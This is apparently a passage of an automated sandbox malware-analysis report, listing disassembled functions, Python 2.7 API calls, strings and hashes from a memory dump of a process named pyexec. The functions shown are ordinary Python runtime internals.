                                                                                                                                                                    • Instruction ID: 10ea6820ea5916ed3adcb84bc7b9ec7960527947e3a60a645337f02c13c07c5f
                                                                                                                                                                    • Opcode Fuzzy Hash: 6ea1690c4be59184c95099f75843332421e164675e8e67873affc65572cb5f22
                                                                                                                                                                    • Instruction Fuzzy Hash: FE71C676A006019BD710CFA8D880B5673F4EF99334F148728ED694B382E735E956CBE2
                                                                                                                                                                    Function 67125FA0 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 185stringCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    • -X is reserved for implementation-specific arguments, xrefs: 671260EB
                                                                                                                                                                    • Argument expected for the -%c option, xrefs: 6712616E
                                                                                                                                                                    • --version, xrefs: 67126058
                                                                                                                                                                    • 3bBc:dEhiJm:OQ:RsStuUvVW:xX?, xrefs: 671260F3
                                                                                                                                                                    • -J is reserved for Jython, xrefs: 671260BB
                                                                                                                                                                    • Unknown option: -%c, xrefs: 6712610E
                                                                                                                                                                    • --help, xrefs: 67126018
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: __iob_funcfprintf$strchr
                                                                                                                                                                    • String ID: --help$--version$-J is reserved for Jython$-X is reserved for implementation-specific arguments$3bBc:dEhiJm:OQ:RsStuUvVW:xX?$Argument expected for the -%c option$Unknown option: -%c
                                                                                                                                                                    • API String ID: 404167010-1173465839
                                                                                                                                                                    • Opcode ID: 25ab686acbb343fc4677d39f4526d16aa0128978db8620f9b5c1b13b25ff6ee4
                                                                                                                                                                    • Instruction ID: 22b5e3265c1d97517763e33de8f67444a9fcfdc351997a02df1c658a100198de
                                                                                                                                                                    • Opcode Fuzzy Hash: 25ab686acbb343fc4677d39f4526d16aa0128978db8620f9b5c1b13b25ff6ee4
                                                                                                                                                                    • Instruction Fuzzy Hash: 8751AD726091884EDB068B38D454B657BA5FB7B324F1802A7D475879C1FB2684C4F358
                                                                                                                                                                    Function 670047A0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 100COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • Py_ReprEnter.PYTHON27(?), ref: 670047A9
                                                                                                                                                                      • Part of subcall function 670C7E70: PyDict_New.PYTHON27 ref: 670C7E8E
                                                                                                                                                                      • Part of subcall function 670C7E70: PyErr_Clear.PYTHON27 ref: 670C7EA0
                                                                                                                                                                      • Part of subcall function 670C7E70: PyString_FromString.PYTHON27(Py_Repr), ref: 670C7EBB
                                                                                                                                                                      • Part of subcall function 670C7E70: PyDict_GetItem.PYTHON27(?,00000000), ref: 670C7ECB
                                                                                                                                                                      • Part of subcall function 670C7E70: Py_FatalError.PYTHON27(GC object already tracked), ref: 670C7F4F
                                                                                                                                                                      • Part of subcall function 670C7E70: PyDict_SetItemString.PYTHON27(?,Py_Repr,00000000), ref: 670C7F81
                                                                                                                                                                      • Part of subcall function 670C7E70: PyList_Append.PYTHON27(-000000FF,000000FE), ref: 670C7FBE
                                                                                                                                                                    • PyString_FromString.PYTHON27([...]), ref: 670047C3
                                                                                                                                                                    • PySequence_List.PYTHON27(?), ref: 670047D2
                                                                                                                                                                    • Py_ReprLeave.PYTHON27(?), ref: 670047E1
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Dict_String$FromItemReprString_$AppendClearEnterErr_ErrorFatalLeaveListList_Sequence_
                                                                                                                                                                    • String ID: [...]$deque(%%r, maxlen=%zd)$deque(%r)
                                                                                                                                                                    • API String ID: 2876697196-1340182754
                                                                                                                                                                    • Opcode ID: 7cf961f695b8148abc5fd47b1b8ee0b80c0fb25d77d2c95860a3dbd719547f89
                                                                                                                                                                    • Instruction ID: cdefda3043560b391058cffca4240659bc5459f3095b14849b22e31788b93be4
                                                                                                                                                                    • Opcode Fuzzy Hash: 7cf961f695b8148abc5fd47b1b8ee0b80c0fb25d77d2c95860a3dbd719547f89
                                                                                                                                                                    • Instruction Fuzzy Hash: CB21A9F6D041016BE610DA65BC8195F73D8EB5E239B140775FD1D87241F726D92282F3
                                                                                                                                                                    Function 670C75A0 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 95COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyObject_GetAttrString.PYTHON27(?,__dict__,67249E88,?,?,?,670C774A), ref: 670C75B3
                                                                                                                                                                    • PyErr_Clear.PYTHON27 ref: 670C75C1
                                                                                                                                                                    • PyDict_New.PYTHON27 ref: 670C75C6
                                                                                                                                                                      • Part of subcall function 670A4510: PyString_FromString.PYTHON27(<dummy key>,00000000,00000000,00000000,?,?,670C50C0,?,00000014,?,6712DEB4), ref: 670A4529
                                                                                                                                                                      • Part of subcall function 670C71D0: PyObject_GetAttrString.PYTHON27(?,__dict__,00000000,00000000), ref: 670C71E2
                                                                                                                                                                      • Part of subcall function 670C71D0: PyErr_Clear.PYTHON27(00000000), ref: 670C71F0
                                                                                                                                                                      • Part of subcall function 670C71D0: PyObject_GetAttrString.PYTHON27(?,__bases__,?,?,?,00000000), ref: 670C7227
                                                                                                                                                                      • Part of subcall function 670C71D0: PyErr_Clear.PYTHON27(?,?,?,?,?,00000000), ref: 670C7235
                                                                                                                                                                    • PyDict_New.PYTHON27 ref: 670C75E9
                                                                                                                                                                    • PyObject_GetAttrString.PYTHON27(?,__class__), ref: 670C7642
                                                                                                                                                                    • PyErr_Clear.PYTHON27 ref: 670C7650
                                                                                                                                                                    • PyDict_Keys.PYTHON27(00000000), ref: 670C7666
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: String$AttrClearErr_Object_$Dict_$FromKeysString_
                                                                                                                                                                    • String ID: __class__$__dict__$__members__$__methods__
                                                                                                                                                                    • API String ID: 3704403498-420438904
                                                                                                                                                                    • Opcode ID: b11ca7e16805f666aaa3db69859a256f626879845480d36a026ebde3df3e1615
                                                                                                                                                                    • Instruction ID: 46d0080475ff3a42db4b933a5de6537612fa7f0b0fa1bee2edc5ee2400a58a93
                                                                                                                                                                    • Opcode Fuzzy Hash: b11ca7e16805f666aaa3db69859a256f626879845480d36a026ebde3df3e1615
                                                                                                                                                                    • Instruction Fuzzy Hash: 742191B1E006115BD721DAB8AD81B5E72E85F1D368F101324EE2547382FB39DA4687F7
                                                                                                                                                                    Function 67016600 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 221COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyDict_Size.PYTHON27(?), ref: 67016625
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,%s() takes at most %d positional arguments (%zd given),findall,00000003,?), ref: 67016651
                                                                                                                                                                    • _PyArg_ParseTupleAndKeywords_SizeT.PYTHON27(7FFFFFFF,?,|OnnO:findall,67260E04,?,?,7FFFFFFF,?), ref: 6701667D
                                                                                                                                                                    • PyList_New.PYTHON27(00000000), ref: 670166CE
                                                                                                                                                                    • PyTuple_New.PYTHON27(7FFFFFFF,?), ref: 67016751
                                                                                                                                                                    • PyList_Append.PYTHON27(?,00000000,?,?,?), ref: 670167F7
                                                                                                                                                                      • Part of subcall function 67015F50: PySequence_GetSlice.PYTHON27(6723FB7C,?,?), ref: 67015F93
                                                                                                                                                                    • PySequence_GetSlice.PYTHON27(?,?,?,?), ref: 670167E4
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: List_Sequence_SizeSlice$AppendArg_Dict_Err_FormatKeywords_ParseTupleTuple_
                                                                                                                                                                    • String ID: %s() takes at most %d positional arguments (%zd given)$findall$source$|OnnO:findall
                                                                                                                                                                    • API String ID: 41004728-684798393
                                                                                                                                                                    • Opcode ID: ee14a9a04c217f809e3a9689e84744f7e29914fb5a71af77ac1feb1407bd772d
                                                                                                                                                                    • Instruction ID: 5e91fca6b9a163582ac68649f04733dc4956458b2b86b5b5484d3548afdcbe95
                                                                                                                                                                    • Opcode Fuzzy Hash: ee14a9a04c217f809e3a9689e84744f7e29914fb5a71af77ac1feb1407bd772d
                                                                                                                                                                    • Instruction Fuzzy Hash: E4717575D04115AFCB15CFE4DC80B9AB3F9BB4C314F1486A9E92997240EB31EE81CBA1
                                                                                                                                                                    Function 67006E80 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 186COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PySequence_Check.PYTHON27(?), ref: 67006E95
                                                                                                                                                                      • Part of subcall function 6708DF00: PyObject_GetAttrString.PYTHON27(?,__getitem__), ref: 6708DF1A
                                                                                                                                                                    • PyErr_Format.PYTHON27(00000000,sequence expected), ref: 67006EAD
                                                                                                                                                                    • PySequence_Size.PYTHON27(?), ref: 67006EBD
                                                                                                                                                                    • PySequence_GetItem.PYTHON27(?,?), ref: 67006EF0
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Sequence_$AttrCheckErr_FormatItemObject_SizeString
                                                                                                                                                                    • String ID: (s#)$sequence expected$2$g
                                                                                                                                                                    • API String ID: 2976514168-1711991350
                                                                                                                                                                    • Opcode ID: 83bdeba9b11810d52b2b14e975d37b2b5d22cfd742396fcc073c1c2fdf14a26b
                                                                                                                                                                    • Instruction ID: be653ba8cfb9b1680201dfc7cc6be57139614412dd8886d1d86f17a873bbcf35
                                                                                                                                                                    • Opcode Fuzzy Hash: 83bdeba9b11810d52b2b14e975d37b2b5d22cfd742396fcc073c1c2fdf14a26b
                                                                                                                                                                    • Instruction Fuzzy Hash: 89518FB69006059FEB10CA68D980B6E73F5BB4C364F144269E919D7341F736EE81CBA2
                                                                                                                                                                    Function 6708E7C0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 168COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672465C8,null argument to internal routine), ref: 6708E7E4
                                                                                                                                                                    • PyList_AsTuple.PYTHON27(?), ref: 6708E80E
                                                                                                                                                                      • Part of subcall function 670BC3D0: PyTuple_New.PYTHON27(?), ref: 670BC3F1
                                                                                                                                                                    • PyObject_GetIter.PYTHON27(?), ref: 6708E81D
                                                                                                                                                                    Strings
                                                                                                                                                                    • null argument to internal routine, xrefs: 6708E7DE
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_IterList_Object_StringTupleTuple_
                                                                                                                                                                    • String ID: null argument to internal routine
                                                                                                                                                                    • API String ID: 2917739512-2212441169
                                                                                                                                                                    • Opcode ID: d6f219c56bc1beefc59635ffd143279c3602449b4303ec62fdcc8a0a45bb88ab
                                                                                                                                                                    • Instruction ID: c992f91ed2ac50d3e12bd9fd78c5db9f1b037c1f41d48c7a588e605bad318b51
                                                                                                                                                                    • Opcode Fuzzy Hash: d6f219c56bc1beefc59635ffd143279c3602449b4303ec62fdcc8a0a45bb88ab
                                                                                                                                                                    • Instruction Fuzzy Hash: E451D5B6D04215AFCB00DE64EC40A9E73E8EF59334B204365ED5897341E735EA52C7E2
                                                                                                                                                                    Function 67125D90 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 136COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromString.PYTHON27(PyArg_UnpackTuple() argument list is not a tuple), ref: 67125DB2
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(672465C8,00000000,PyArg_UnpackTuple() argument list is not a tuple), ref: 67125DBB
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,%s expected %s%zd arguments, got %zd,00000002,6714AF8E,6714AF8E,?), ref: 67125E0F
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,unpacked tuple should have %s%zd elements, but has %zd,6714AF8E,6714AF8E,?), ref: 67125E38
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,%s expected %s%zd arguments, got %zd,00000002,6714AF8E,6714AF8E,?), ref: 67125E74
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,unpacked tuple should have %s%zd elements, but has %zd,6714AF8E,6714AF8E,?), ref: 67125EA0
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$Format$FromObjectStringString_
                                                                                                                                                                    • String ID: %s expected %s%zd arguments, got %zd$PyArg_UnpackTuple() argument list is not a tuple$at least $at most $unpacked tuple should have %s%zd elements, but has %zd
                                                                                                                                                                    • API String ID: 542344229-3688193887
                                                                                                                                                                    • Opcode ID: 6a41c6812eb8df50a2a8ea024f778f023df66acea01da93356839c871b77bc65
                                                                                                                                                                    • Instruction ID: a5e63b1243a712506bd0e7b507e528dbac78b0cc1bac2558bbb431b57146dc29
                                                                                                                                                                    • Opcode Fuzzy Hash: 6a41c6812eb8df50a2a8ea024f778f023df66acea01da93356839c871b77bc65
                                                                                                                                                                    • Instruction Fuzzy Hash: F7412A76B111182FDB15CE58EC8197B7398DBAD224B1046ABFD3CE7204E621EC9197F1
                                                                                                                                                                    Function 670C7E70 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 131COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyDict_New.PYTHON27 ref: 670C7E8E
                                                                                                                                                                      • Part of subcall function 670A4510: PyString_FromString.PYTHON27(<dummy key>,00000000,00000000,00000000,?,?,670C50C0,?,00000014,?,6712DEB4), ref: 670A4529
                                                                                                                                                                    • PyErr_Clear.PYTHON27 ref: 670C7EA0
                                                                                                                                                                    • PyString_FromString.PYTHON27(Py_Repr), ref: 670C7EBB
                                                                                                                                                                    • PyDict_GetItem.PYTHON27(?,00000000), ref: 670C7ECB
                                                                                                                                                                    • _PyObject_GC_Malloc.PYTHON27(00000014), ref: 670C7F15
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked), ref: 670C7F4F
                                                                                                                                                                    • PyDict_SetItemString.PYTHON27(?,Py_Repr,00000000), ref: 670C7F81
                                                                                                                                                                    • PyList_Append.PYTHON27(-000000FF,000000FE), ref: 670C7FBE
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Dict_String$FromItemString_$AppendClearErr_ErrorFatalList_MallocObject_
                                                                                                                                                                    • String ID: GC object already tracked$P&&g$Py_Repr
                                                                                                                                                                    • API String ID: 2081235056-69603027
                                                                                                                                                                    • Opcode ID: c3174b241d23337a7ea77fb2566abbac6d8459e7063d812978ec9659c1d0f6d1
                                                                                                                                                                    • Instruction ID: d9a3442e1e693ad3802275540941715aa5806d9126d49eed354f4863eaf45a3d
                                                                                                                                                                    • Opcode Fuzzy Hash: c3174b241d23337a7ea77fb2566abbac6d8459e7063d812978ec9659c1d0f6d1
                                                                                                                                                                    • Instruction Fuzzy Hash: 4A411BB25005018FC721CF68D885A5AB7E8EB9E3287204769E93987340E736E843C7F2
                                                                                                                                                                    Function 67099450 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 127COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    • PyCapsule_Import "%s" is not valid, xrefs: 6709958A
                                                                                                                                                                    • PyCapsule_Import could not import module "%s", xrefs: 67099570
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: PyCapsule_Import "%s" is not valid$PyCapsule_Import could not import module "%s"
                                                                                                                                                                    • API String ID: 0-4167395026
                                                                                                                                                                    • Opcode ID: ce7ee8baaa70c9775fb4d185e7b486e7718871a805c8af942d5fa4e1079ace2c
                                                                                                                                                                    • Instruction ID: 71b69b9d4ad3a9de32a89100bac2afc4a66e66a380de4886e5e6f175b5f6476a
                                                                                                                                                                    • Opcode Fuzzy Hash: ce7ee8baaa70c9775fb4d185e7b486e7718871a805c8af942d5fa4e1079ace2c
                                                                                                                                                                    • Instruction Fuzzy Hash: 2F4129B6A10600AFC711DE64D840E9F77F89BCD764B144239ED288B300EB35D981D7E1
                                                                                                                                                                    Function 671007B0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 110stringCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: strchrstrncpy$FileModuleName$_stat64i32getenv
                                                                                                                                                                    • String ID: PATH
                                                                                                                                                                    • API String ID: 2662838222-1036084923
                                                                                                                                                                    • Opcode ID: 45dd70e10b65e9d958b56e2eca4715457a73ff5fe2f3bcc09f436a57e4d54382
                                                                                                                                                                    • Instruction ID: 3a09646c6ae84328e9644984f8a6385099d7c0bca08907e60e24ce1156103bb6
                                                                                                                                                                    • Opcode Fuzzy Hash: 45dd70e10b65e9d958b56e2eca4715457a73ff5fe2f3bcc09f436a57e4d54382
                                                                                                                                                                    • Instruction Fuzzy Hash: 3E315D31E043046BE712AE655C47B477768EB5A395F06013BFD74A3281FB3AA444C7E6
                                                                                                                                                                    Function 670046C0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyObject_GetAttrString.PYTHON27(?,__dict__), ref: 670046CF
                                                                                                                                                                    • PyErr_Clear.PYTHON27 ref: 670046DD
                                                                                                                                                                    • PySequence_List.PYTHON27(?), ref: 670046E3
                                                                                                                                                                    • Py_BuildValue.PYTHON27(O(O),?,00000000), ref: 67004723
                                                                                                                                                                    • Py_BuildValue.PYTHON27(O(On),?,00000000,?), ref: 6700473A
